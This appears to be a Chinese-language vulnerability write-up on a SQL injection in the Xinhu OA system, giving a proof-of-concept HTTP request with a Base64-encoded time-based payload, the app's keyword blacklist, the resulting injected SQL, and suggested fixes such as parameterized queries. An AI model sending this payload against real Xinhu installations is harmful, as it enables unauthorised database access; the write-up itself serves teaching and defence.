信呼 OA 最新 sql 注入分析
字数 1053 2025-08-22 12:23:06
信呼OA SQL注入漏洞分析与防御教学文档
漏洞概述
信呼OA系统存在一个SQL注入漏洞,攻击者可以通过精心构造的请求绕过系统的安全防护机制,执行恶意SQL语句。该漏洞属于逻辑绕过漏洞,利用了系统对Base64编码参数的特殊处理方式。
环境搭建
- 下载源码:
https://github.com/rainrocka/xinhu - 使用PHPstudy搭建环境
- 初始账号密码:admin/admin
- 首次登录后需强制修改密码
漏洞复现
攻击Payload
GET /api.php?a=getmfilv&m=upload|api&d=task&fileid=1&fname=MScgYW5kIHNsZWVwKDYpIw== HTTP/1.1
Host: xinhu:5348
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: */*
X-Requested-With: XMLHttpRequest
Referer: http://xinhu:5348/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=920tmlvqknnacst79p9c5d3h66; deviceid=1735887216564; xinhu_mo_adminid=oo0ob0vv0bdd0bhb0kr0bhh0bbk0oo0gb0rd0bhx0oo0ro0oe0gr06; xinhu_ca_adminuser=admin; xinhu_ca_rempass=1; xinhu_ca_adminpass=oo0rx0oe0bdd0or0kr0rg0gh06
Connection: keep-alive
关键参数:
fname=MScgYW5kIHNsZWVwKDYpIw==(Base64解码后为1' and sleep(6)#)
漏洞分析
请求处理流程
- 请求路由:
api.php根据m和a参数路由到对应控制器方法 - 参数处理:
m=upload|api:表示先加载upload模块,然后调用api模块a=getmfilv:调用getmfilvAction方法d=task:目录参数fileid=1:文件IDfname:文件名参数(Base64编码)
关键代码分析
1. 参数获取流程
uploadAction.php中的getmfilvAction方法:
public function getmfilvAction() {
$fileid = (int)$this->get('fileid','0');
$frs = m('file')->getone($fileid);
if(!$frs)return returnerror('不存在');
$lujing = $frs['filepathout'];
if(isempt($lujing)){
$lujing = $frs['filepath'];
if(substr($lujing,0,4)!='http' && !file_exists($lujing))return returnerror('文件不存在了');
}
$fileext = $frs['fileext'];
$fname = $this->jm->base64decode($this->get('fname'));
$fname = (isempt($fname)) ? $frs['filename'] : $fname.'.'.$fileext.'';
$filepath = ''.UPDIR.'/'.date('Y-m').'/'.date('d').'_rocktpl'.rand(1000,9999).'_'.$fileid.'.'.$fileext.'';
$this->rock->createtxt($filepath, file_get_contents($lujing));
$uarr = array(
'filename' => $fname,
'fileext' => $fileext,
'filepath' => $filepath,
'filesize' => filesize($filepath),
'filesizecn' => $this->rock->formatsize(filesize($filepath)),
'optid' => $this->adminid,
'optname' => $this->adminname,
'adddt' => $this->rock->now,
'ip' => $this->rock->ip,
'web' => $this->rock->web,
);
$uarr['id'] = m('file')->insert($uarr);
return returnsuccess($uarr);
}
2. 安全防护机制
rockClass.php中的get和jmuncode方法:
public function get($name,$dev='', $lx=0) {
$val=$dev;
if(isset($_GET[$name]))$val=$_GET[$name];
if($this->isempt($val))$val=$dev;
return $this->jmuncode($val, $lx, $name);
}
public function jmuncode($s, $lx=0, $na='') {
$jmbo = false;$s = (string)$s;
if($lx==3)$jmbo = $this->isjm($s);
if(substr($s, 0, 7)=='rockjm_' || $lx == 1 || $jmbo){
$s = str_replace('rockjm_','',$s);
$s = $this->jm->uncrypt($s);
if($lx==1){
$jmbo = $this->isjm($s);
if($jmbo)$s = $this->jm->uncrypt($s);
}
}
if(substr($s, 0, 7)=='basejm_' || $lx==5){
$s = str_replace('basejm_','',$s);
$s = $this->jm->base64decode($s);
}
$s=str_replace('39',"'",$s);
$s=str_replace('%20',' ',$s);
if($lx==2)$s=str_replace(array('[H1]','[H2]'),array('<','>'),$s);
$str = strtolower($s);
foreach($this->lvlaras as $v1)if($this->contain($str, $v1)){
$this->debug(''.$na.'《'.$s.'》error:包含非法字符《'.$v1.'》','params_err');
$s = $this->lvlarrep($str, $v1);
$str = $s;
}
$cslv = array('m','a','p','d','ip','web','host','ajaxbool','token','adminid');
if(in_array($na, $cslv))$s = $this->xssrepstr($s);
return $this->reteistrs($s);
}
黑名单定义(__construct方法中):
$this->lvlaras = explode(',','select , alter table,delete ,drop ,update ,insert into,load_file,/*,*/,union,<script,</script,sleep(,outfile,eval(,user(,phpinfo(),select*,union%20,sleep%20,select%20,delete%20,drop%20,and%20');
$this->lvlaraa = explode(',','select,alter,delete,drop,update,/*,*/,insert,from,time_so_sec,convert,from_unixtime,unix_timestamp,curtime,time_format,union,concat,information_schema,group_concat,length,load_file,outfile,database,system_user,current_user,user(),found_rows,declare,master,exec,(),select*from,select*');
3. SQL执行流程
mysql.php中的record方法:
public function record($table,$array,$where='') {
$addbool = true;
if(!$this->isempt($where))$addbool=false;
$cont = '';
if(is_array($array)){
foreach($array as $key=>$val){
$cont.=",`$key`=".$this->toaddval($val)."";
}
$cont = substr($cont,1);
}else{
$cont = $array;
}
$table = $this->gettables($table);
if($addbool){
$sql="insert into $table set $cont";
}else{
$where = $this->getwhere($where);
$sql="update $table set $cont where $where";
}
return $this->tranbegin($sql);
}
漏洞原理
- Base64编码绕过:系统对
fname参数进行Base64解码,但安全检测是在解码前进行的,导致黑名单检测失效 - SQL拼接问题:解码后的恶意内容直接拼接到SQL语句中,没有进行适当的转义或参数化处理
- 黑名单不完善:即使检测到恶意内容,也只是替换而非阻断请求
最终生成的恶意SQL语句:
insert into `xinhu_file` set `filename`='1' and sleep(6)#.png',`fileext`='png',`filepath`='upload/2025-01/03_rocktpl5508_1.png',`filesize`='3970',`filesizecn`='3.88 KB',`optid`='1',`optname`='绠绠$悊悊鍛',`adddt`='2025-01-03 16:51:57',`ip`='127.0.0.1',`web`='Chrome'
防御方案
1. 输入验证改进
// 修改jmuncode方法,增加对解码后内容的检测
public function jmuncode($s, $lx=0, $na='') {
// ...原有代码...
// Base64解码后增加安全检测
if(substr($s, 0, 7)=='basejm_' || $lx==5){
$s = str_replace('basejm_','',$s);
$s = $this->jm->base64decode($s);
// 新增:对解码后的内容进行安全检测
$tempStr = strtolower($s);
foreach($this->lvlaras as $v1) {
if($this->contain($tempStr, $v1)) {
$this->debug(''.$na.'《'.$s.'》error:包含非法字符《'.$v1.'》','params_err');
return ''; // 直接返回空值,而不是尝试替换
}
}
}
// ...原有代码...
}
2. 使用参数化查询
修改record方法,使用预处理语句:
public function record($table,$array,$where='') {
$addbool = true;
if(!$this->isempt($where))$addbool=false;
$table = $this->gettables($table);
if($addbool){
// 使用预处理语句
$keys = array();
$values = array();
$placeholders = array();
foreach($array as $key=>$val){
$keys[] = "`$key`";
$placeholders[] = "?";
$values[] = $this->toaddval($val);
}
$sql = "INSERT INTO $table (".implode(',', $keys).") VALUES (".implode(',', $placeholders).")";
return $this->executePrepared($sql, $values);
}else{
$where = $this->getwhere($where);
// 同样修改update部分...
}
}
private function executePrepared($sql, $params) {
$stmt = $this->link->prepare($sql);
if(!$stmt) return false;
$types = str_repeat('s', count($params));
$stmt->bind_param($types, ...$params);
$result = $stmt->execute();
$stmt->close();
return $result;
}
3. 增强黑名单机制
- 增加更多危险SQL关键词
- 对编码后的攻击特征进行检测
- 实现白名单验证机制,特别是对文件名等参数
4. 输出编码
对所有输出到数据库的内容进行适当的编码处理:
function toaddval($val) {
if(is_array($val) || is_object($val))$val = json_encode($val);
if(is_bool($val))$val = $val ? '1' : '0';
if(is_null($val))$val = '';
// 增加对字符串的严格过滤
if(is_string($val)) {
$val = $this->link->real_escape_string($val);
$val = "'".$val."'";
}
return $val;
}
总结
该漏洞的根本原因是:
- 安全检测与参数处理的顺序不当(先检测后解码)
- 依赖黑名单而非白名单或参数化查询
- 对用户输入过度信任,缺乏深度防御
完整修复需要:
- 调整安全检测顺序
- 实现参数化查询
- 增强输入验证
- 实施输出编码
- 考虑使用ORM框架替代直接SQL操作